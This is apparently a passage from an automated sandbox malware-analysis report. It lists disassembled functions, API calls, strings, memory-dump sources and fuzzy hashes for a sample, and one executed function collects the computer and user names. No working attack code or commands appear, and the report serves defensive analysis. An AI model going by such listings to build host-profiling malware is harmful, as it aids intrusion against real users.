Opcode Fuzzy Hash: 7fd7dbada81887592a724880a08c51d7aedbceef6152be3b2ba94a2fd6bb99d8
Instruction Fuzzy Hash: 29E01A35A4034C6BDB91EB94CC96FAE737C9B44B01F004295BA0D9B2C0DE70AB858BA1

Function 00AC1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00AD78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AD7910
Part of subcall function 00AD78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00AD7917
Part of subcall function 00AD78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00AD792F

Part of subcall function 00AD7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00AC11B7), ref: 00AD7880
Part of subcall function 00AD7850: RtlAllocateHeap.NTDLL(00000000), ref: 00AD7887
Part of subcall function 00AD7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00AD789F

ExitProcess.KERNEL32 ref: 00AC11C6

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 4034aeb54e31de8d0420235697378e32da02f0d9c2cf402e6b281dfe902aee97
Instruction ID: a1cfd29a4bbdc7efee9ea78ef3f09bd0f0a7924e44c6b3fa05fb2887c91b8862
Opcode Fuzzy Hash: 4034aeb54e31de8d0420235697378e32da02f0d9c2cf402e6b281dfe902aee97
Instruction Fuzzy Hash: DAE012B5A1430153CA0477F9AD0AF2E339C5B15389F49052EFA0AD2353FA29E8418576

Function 00AD8E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00AD8E52

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 88dd6f434bec525fc550e2340c243b1c00e01c01120e2363ef77a7c167e0a850
Instruction ID: 406c55110fbc5215faa024d43d872a80dae983c37d1f42547e6474dad9c4524f
Opcode Fuzzy Hash: 88dd6f434bec525fc550e2340c243b1c00e01c01120e2363ef77a7c167e0a850
Instruction Fuzzy Hash: 9F01FB30904208EFCB04CF98C5857EC7BB1EF44308F288589D9066B351CB799E84DF95

Non-executed Functions

Function 6CBC5440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CBC5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBC54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBC54BE
__Init_thread_footer.LIBCMT ref: 6CBC54DB

Part of subcall function 6CBEAB3F: EnterCriticalSection.KERNEL32(6CC3E370,?,?,6CBB3527,6CC3F6CC,?,?,?,?,?,?,?,?,6CBB3284), ref: 6CBEAB49
Part of subcall function 6CBEAB3F: LeaveCriticalSection.KERNEL32(6CC3E370,?,6CBB3527,6CC3F6CC,?,?,?,?,?,?,?,?,6CBB3284,?,?,6CBD56F6), ref: 6CBEAB7C

Part of subcall function 6CBECBE8: GetCurrentProcess.KERNEL32(?,6CBB31A7), ref: 6CBECBF1
Part of subcall function 6CBECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBB31A7), ref: 6CBECBFA

GetCurrentThreadId.KERNEL32 ref: 6CBC54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CBC5516
GetCurrentThreadId.KERNEL32 ref: 6CBC556A
AcquireSRWLockExclusive.KERNEL32(6CC3F4B8), ref: 6CBC5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CBC5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CBC5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CBC55E6
ReleaseSRWLockExclusive.KERNEL32(6CC3F4B8), ref: 6CBC5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBC5616

Part of subcall function 6CBEAB89: EnterCriticalSection.KERNEL32(6CC3E370,?,?,?,6CBB34DE,6CC3F6CC,?,?,?,?,?,?,?,6CBB3284), ref: 6CBEAB94
Part of subcall function 6CBEAB89: LeaveCriticalSection.KERNEL32(6CC3E370,?,6CBB34DE,6CC3F6CC,?,?,?,?,?,?,?,6CBB3284,?,?,6CBD56F6), ref: 6CBEABD1

GetCurrentThreadId.KERNEL32 ref: 6CBC563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBC5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CBC567C
free.MOZGLUE(?), ref: 6CBC56AE

Part of subcall function 6CBD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBD5EDB
Part of subcall function 6CBD5E90: memset.VCRUNTIME140(6CC17765,000000E5,55CCCCCC), ref: 6CBD5F27
Part of subcall function 6CBD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBD5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CBC56E8
GetCurrentThreadId.KERNEL32 ref: 6CBC5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CBC570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CBC5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CBC574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CBC576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CBC5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CBC57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CBC57CA

Strings

MOZ_BASE_PROFILER_HELP, xrefs: 6CBC5511
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CBC5D01
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CBC5BBE
MOZ_PROFILER_STARTUP, xrefs: 6CBC55E1
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CBC5791
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CBC57C5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CBC5717
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CBC56E3
[I %d/%d] profiler_init, xrefs: 6CBC564E
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CBC5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CBC5AC9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CBC5749
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CBC5724
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CBC5766
7S+Y/, xrefs: 6CBC4C0F, 6CBC544F
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CBC584E
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CBC5B38
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CBC54B9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CBC5C56
GeckoMain, xrefs: 6CBC5554, 6CBC55D5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CBC5D1C
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CBC5CF9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CBC5D2B
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CBC54A3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CBC57AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CBC548D

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$7S+Y/$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-3810779826
Opcode ID: c31295d86fde30f59ef95147358cfc90b7dcc43e40c4a6d8d50ac2945abd6e84
Instruction ID: 5a9532adc5b47c72c1fda91661147a562604b1c89d9d613613dec7c7fa406617
Opcode Fuzzy Hash: c31295d86fde30f59ef95147358cfc90b7dcc43e40c4a6d8d50ac2945abd6e84
Instruction Fuzzy Hash: BA2245B5B047909FEB109F74E85465EBBB4EF46348F040A2AE85A87B41EB34C84DCB57

Function 6CBC6C80 Relevance: 97.0, APIs: 50, Strings: 5, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CBC6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CBC6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CBC6D26

Part of subcall function 6CBCCA10: malloc.MOZGLUE(?), ref: 6CBCCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CBC6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CBC6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CBC6D73
free.MOZGLUE(00000000), ref: 6CBC6D80
CertGetNameStringW.CRYPT32 ref: 6CBC6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CBC6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CBC6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CBC6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CBC6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CBC6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CBC6E34
CreateFileW.KERNEL32 ref: 6CBC6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CBC6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CBC6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CBC709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CBC7103
free.MOZGLUE(00000000), ref: 6CBC7153
CloseHandle.KERNEL32(?), ref: 6CBC7176
__Init_thread_footer.LIBCMT ref: 6CBC7209
__Init_thread_footer.LIBCMT ref: 6CBC723A
__Init_thread_footer.LIBCMT ref: 6CBC726B
__Init_thread_footer.LIBCMT ref: 6CBC729C
__Init_thread_footer.LIBCMT ref: 6CBC72DC
__Init_thread_footer.LIBCMT ref: 6CBC730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CBC73C2
VerSetConditionMask.NTDLL ref: 6CBC73F3
VerSetConditionMask.NTDLL ref: 6CBC73FF
VerSetConditionMask.NTDLL ref: 6CBC7406
VerSetConditionMask.NTDLL ref: 6CBC740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CBC741A
moz_xmalloc.MOZGLUE(?), ref: 6CBC755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBC7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CBC7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBC7598
free.MOZGLUE(00000000), ref: 6CBC75AC

Part of subcall function 6CBEAB89: EnterCriticalSection.KERNEL32(6CC3E370,?,?,?,6CBB34DE,6CC3F6CC,?,?,?,?,?,?,?,6CBB3284), ref: 6CBEAB94
Part of subcall function 6CBEAB89: LeaveCriticalSection.KERNEL32(6CC3E370,?,6CBB34DE,6CC3F6CC,?,?,?,?,?,?,?,6CBB3284,?,?,6CBD56F6), ref: 6CBEABD1

Strings

7S+Y/, xrefs: 6CBC6C8F
wintrust.dll, xrefs: 6CBC72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CBC72C8
SHA256, xrefs: 6CBC6EC0
(, xrefs: 6CBC768A

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($7S+Y/$CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3355340465
Opcode ID: 86b61049eba195137227e590a8ac3007dfd3a4c26656038dfe6e5b57dcd04f16
Instruction ID: aaf2dd49ff20e8f294f9989a245b552dab9070b0864729060df689a9c4568b07
Opcode Fuzzy Hash: 86b61049eba195137227e590a8ac3007dfd3a4c26656038dfe6e5b57dcd04f16
Instruction Fuzzy Hash: 9D52B3B1A002549FEB21DF64DC84FAA77B8EF4A708F104599E90DA7640DB70AE85CF52

Function 6CBF0DD0 Relevance: 85.6, APIs: 36, Strings: 11, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CBF0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CBF0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CBF0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CBF0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CBF1031
LeaveCriticalSection.KERNEL32(?), ref: 6CBF10D0
EnterCriticalSection.KERNEL32(?), ref: 6CBF117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CBF1C39
EnterCriticalSection.KERNEL32(6CC3E744), ref: 6CBF3391
LeaveCriticalSection.KERNEL32(6CC3E744), ref: 6CBF33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CBF3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBF3437

Strings

7S+Y/, xrefs: 6CBF0DE2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CBF3559, 6CBF382D, 6CBF3848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CBF37BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6CBF3A02
MOZ_CRASH(), xrefs: 6CBF3950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CBF37D2
<jemalloc>, xrefs: 6CBF3941, 6CBF39F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CBF3793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CBF37A8
Compile-time page size does not divide the runtime one., xrefs: 6CBF3946
MALLOC_OPTIONS, xrefs: 6CBF35FE

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: 7S+Y/$: (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-519741821
Opcode ID: 3f137aae89cf8273ded50aa30dd0ceec24cc3eb7abafa94e7216f75d5c30d4e1
Instruction ID: b71c5b1ba24c02f76d5ead653beea307fc99844313a7c3f3ef734543de2e0a90
Opcode Fuzzy Hash: 3f137aae89cf8273ded50aa30dd0ceec24cc3eb7abafa94e7216f75d5c30d4e1
Instruction Fuzzy Hash: 66537AB1A056818FD704CF28C540616FBE1FF89328F29C66DE8799B791D771E846CB82

Function 6CC134A0 Relevance: 62.7, APIs: 33, Strings: 2, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC1355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC135BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC135E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC1363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC136CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC1373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC1378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC138BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC139EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC13EE2

Part of subcall function 6CC16180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CC161DD
Part of subcall function 6CC16180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CC1622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC140F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC1412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC14157

Part of subcall function 6CC16180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CC16250
Part of subcall function 6CC16180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC16292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC1441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC14448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC1484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC14863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC14878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC14896
free.MOZGLUE ref: 6CC1489F

Strings

7S+Y/, xrefs: 6CC134DB
, xrefs: 6CC14CD2

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID: $7S+Y/
API String ID: 3842999660-4041545565
Opcode ID: 60219c9070f74303ec108087079d858cceab9d278899b4d0236f98ade28fd6ee
Instruction ID: 1f9739a4a2cc8e386708abe1a79cb5a2953fe154f6a5235a6a62740ff2cce34a
